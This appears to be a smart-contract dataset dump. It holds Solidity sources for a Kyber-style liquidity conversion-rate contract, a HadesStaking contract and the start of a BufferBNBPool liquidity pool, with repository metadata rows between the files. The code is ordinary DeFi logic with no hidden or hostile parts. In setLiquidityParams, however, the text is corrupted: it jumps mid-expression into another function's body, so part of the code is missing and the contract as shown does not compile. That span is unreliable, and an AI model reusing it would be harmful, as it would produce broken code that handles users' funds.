return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/LiquidityConversionRates.sol
contract LiquidityConversionRates is ConversionRatesInterface, LiquidityFormula, Withdrawable, Utils {
ERC20 public token;
address public reserveContract;
uint public numFpBits;
uint public formulaPrecision;
uint public rInFp;
uint public pMinInFp;
uint public maxEthCapBuyInFp;
uint public maxEthCapSellInFp;
uint public maxQtyInFp;
uint public feeInBps;
uint public collectedFeesInTwei = 0;
uint public maxBuyRateInPrecision;
uint public minBuyRateInPrecision;
uint public maxSellRateInPrecision;
uint public minSellRateInPrecision;
function LiquidityConversionRates(address _admin, ERC20 _token) public {
transferAdminQuickly(_admin);
token = _token;
setDecimals(token);
require(getDecimals(token) <= MAX_DECIMALS);
}
event ReserveAddressSet(address reserve);
function setReserveAddress(address reserve) public onlyAdmin {
reserveContract = reserve;
ReserveAddressSet(reserve);
}
event LiquidityParamsSet(uint rInFp,
uint pMinInFp,
uint numFpBits,
uint maxCapBuyInFp,
uint maxEthCapSellInFp,
uint feeInBps,
uint formulaPrecision,
uint maxQtyInFp,
uint maxBuyRateInPrecision,
uint minBuyRateInPrecision,
uint maxSellRateInPrecision,
uint minSellRateInPrecision);
function setLiquidityParams(uint _rInFp,
uint _pMinInFp,
uint _numFpBits,
uint _maxCapBuyInWei,
uint _maxCapSellInWei,
uint _feeInBps,
uint _maxTokenToEthRateInPrecision,
uint _minTokenToEthRateInPrecision) public onlyAdmin {
require(_numFpBits < 256);
require(formulaPrecision <= MAX_QTY);
require(_feeInBps < 10000);
require(_minTokenToEthRateInPrecision < _maxTokenToEthRateInPrecision);
rInFp = _rInFp;
pMinInFp = _pMinInFp;
formulaPrecision = uint(1)< 0) {
// Buy case
collectedFeesInTwei += calcCollectedFee(abs(buyAmountInTwei));
} else {
// Sell case
collectedFeesInTwei += abs(buyAmountInTwei) * feeInBps / 10000;
}
}
event CollectedFeesReset(uint resetFeesInTwei);
function resetCollectedFees() public onlyAdmin {
uint resetFeesInTwei = collectedFeesInTwei;
collectedFeesInTwei = 0;
CollectedFeesReset(resetFeesInTwei);
}
function getRate(ERC20 conversionToken,
uint currentBlockNumber,
bool buy,
uint qtyInSrcWei) public view returns(uint) {
currentBlockNumber;
require(qtyInSrcWei <= MAX_QTY);
uint eInFp = fromWeiToFp(reserveContract.balance);
uint rateInPrecision = getRateWithE(conversionToken, buy, qtyInSrcWei, eInFp);
require(rateInPrecision <= MAX_RATE);
return rateInPrecision;
}
function getRateWithE(ERC20 conversionToken, bool buy, uint qtyInSrcWei, uint eInFp) public view returns(uint) {
uint deltaEInFp;
uint sellInputTokenQtyInFp;
uint deltaTInFp;
uint rateInPrecision;
require(qtyInSrcWei <= MAX_QTY);
require(eInFp <= maxQtyInFp);
if (conversionToken != token) return 0;
if (buy) {
// ETH goes in, token goes out
deltaEInFp = fromWeiToFp(qtyInSrcWei);
if (deltaEInFp > maxEthCapBuyInFp) return 0;
if (deltaEInFp == 0) {
rateInPrecision = buyRateZeroQuantity(eInFp);
} else {
rateInPrecision = buyRate(eInFp, deltaEInFp);
}
} else {
sellInputTokenQtyInFp = fromTweiToFp(qtyInSrcWei);
deltaTInFp = valueAfterReducingFee(sellInputTokenQtyInFp);
if (deltaTInFp == 0) {
rateInPrecision = sellRateZeroQuantity(eInFp);
deltaEInFp = 0;
} else {
(rateInPrecision, deltaEInFp) = sellRate(eInFp, sellInputTokenQtyInFp, deltaTInFp);
}
if (deltaEInFp > maxEthCapSellInFp) return 0;
}
rateInPrecision = rateAfterValidation(rateInPrecision, buy);
return rateInPrecision;
}
function rateAfterValidation(uint rateInPrecision, bool buy) public view returns(uint) {
uint minAllowRateInPrecision;
uint maxAllowedRateInPrecision;
if (buy) {
minAllowRateInPrecision = minBuyRateInPrecision;
maxAllowedRateInPrecision = maxBuyRateInPrecision;
} else {
minAllowRateInPrecision = minSellRateInPrecision;
maxAllowedRateInPrecision = maxSellRateInPrecision;
}
if ((rateInPrecision > maxAllowedRateInPrecision) || (rateInPrecision < minAllowRateInPrecision)) {
return 0;
} else if (rateInPrecision > MAX_RATE) {
return 0;
} else {
return rateInPrecision;
}
}
function buyRate(uint eInFp, uint deltaEInFp) public view returns(uint) {
uint deltaTInFp = deltaTFunc(rInFp, pMinInFp, eInFp, deltaEInFp, formulaPrecision);
require(deltaTInFp <= maxQtyInFp);
deltaTInFp = valueAfterReducingFee(deltaTInFp);
return deltaTInFp * PRECISION / deltaEInFp;
}
function buyRateZeroQuantity(uint eInFp) public view returns(uint) {
uint ratePreReductionInPrecision = formulaPrecision * PRECISION / pE(rInFp, pMinInFp, eInFp, formulaPrecision);
return valueAfterReducingFee(ratePreReductionInPrecision);
}
function sellRate(uint eInFp,
uint sellInputTokenQtyInFp,
uint deltaTInFp) public view returns(uint rateInPrecision, uint deltaEInFp) {
deltaEInFp = deltaEFunc(rInFp, pMinInFp, eInFp, deltaTInFp, formulaPrecision, numFpBits);
require(deltaEInFp <= maxQtyInFp);
rateInPrecision = deltaEInFp * PRECISION / sellInputTokenQtyInFp;
}
function sellRateZeroQuantity(uint eInFp) public view returns(uint) {
uint ratePreReductionInPrecision = pE(rInFp, pMinInFp, eInFp, formulaPrecision) * PRECISION / formulaPrecision;
return valueAfterReducingFee(ratePreReductionInPrecision);
}
function fromTweiToFp(uint qtyInTwei) public view returns(uint) {
require(qtyInTwei <= MAX_QTY);
return qtyInTwei * formulaPrecision / (10 ** getDecimals(token));
}
function fromWeiToFp(uint qtyInwei) public view returns(uint) {
require(qtyInwei <= MAX_QTY);
return qtyInwei * formulaPrecision / (10 ** ETH_DECIMALS);
}
function valueAfterReducingFee(uint val) public view returns(uint) {
require(val <= BIG_NUMBER);
return ((10000 - feeInBps) * val) / 10000;
}
function calcCollectedFee(uint val) public view returns(uint) {
require(val <= MAX_QTY);
return val * feeInBps / (10000 - feeInBps);
}
function abs(int val) public pure returns(uint) {
if (val < 0) {
return uint(val * (-1));
} else {
return uint(val);
}
}
}
| 336,119 | 10,566 |
b15ce260497992ce8577c01a015a8e431b590ada412ce19808ad37b876e0700f
| 27,207 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f8/f893d2463d1d612e152e02ea049eb443d98a9d3d_HadesStaking.sol
| 4,138 | 16,526 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsHADE {
function rebase(uint256 everProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract HadesStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable HADE;
address public immutable sHADE;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _HADE,
address _sHADE,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_HADE != address(0));
HADE = _HADE;
require(_sHADE != address(0));
sHADE = _sHADE;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(HADE).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsHADE(sHADE).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sHADE).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsHADE(sHADE).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsHADE(sHADE).balanceForGons(info.gons));
IERC20(HADE).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sHADE).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(HADE).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsHADE(sHADE).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsHADE(sHADE).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsHADE(sHADE).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(HADE).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sHADE).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sHADE).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 319,231 | 10,567 |
32e532130095902db4eb03a0adb690c82887d305c53e64cd6e54e503c110edcd
| 39,996 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7338ee5535F1E0f1a210a6Ef6dB34f5357EB9860/contract.sol
| 4,665 | 18,350 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
// Part: ILiquidityPool
interface ILiquidityPool {
struct LockedLiquidity {
uint256 amount;
uint256 premium;
bool locked;
}
event Profit(uint256 indexed id, uint256 amount);
event Loss(uint256 indexed id, uint256 amount);
event Provide(address indexed account, uint256 amount, uint256 writeAmount);
event Withdraw(address indexed account,
uint256 amount,
uint256 writeAmount);
function unlock(uint256 id) external;
function send(uint256 id,
address payable account,
uint256 amount) external;
function totalBalance() external view returns (uint256 amount);
// function unlockPremium(uint256 amount) external;
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/IAccessControl
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/IERC165
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/Strings
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Part: IBNBLiquidityPool
interface IBNBLiquidityPool is ILiquidityPool {
event UpdateRevertTransfersInLockUpPeriod(address indexed account, bool value);
function lock(uint256 id, uint256 amount) external payable;
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/ERC165
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/IERC20Metadata
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/AccessControl
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.3.2/ERC20
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// File: BufferBNBPool.sol
contract BufferBNBPool is
AccessControl,
ERC20("Buffer BNB LP Token", "rBFR-BNB"),
IBNBLiquidityPool
{
uint256 public constant ACCURACY = 1e3;
uint256 public constant INITIAL_RATE = 1e3;
uint256 public lockupPeriod = 2 weeks;
uint256 public lockedAmount;
uint256 public lockedPremium;
uint256 public referralRewardPercentage = 0; // 0.5%
mapping(address => uint256) public lastProvideTimestamp;
mapping(address => bool) public _revertTransfersInLockUpPeriod;
// LockedLiquidity[] public lockedLiquidity;
mapping(address => LockedLiquidity[]) public lockedLiquidity;
bytes32 public constant OPTION_ISSUER_ROLE =
keccak256("OPTION_ISSUER_ROLE");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function revertTransfersInLockUpPeriod(bool value) external {
_revertTransfersInLockUpPeriod[msg.sender] = value;
emit UpdateRevertTransfersInLockUpPeriod(msg.sender, value);
}
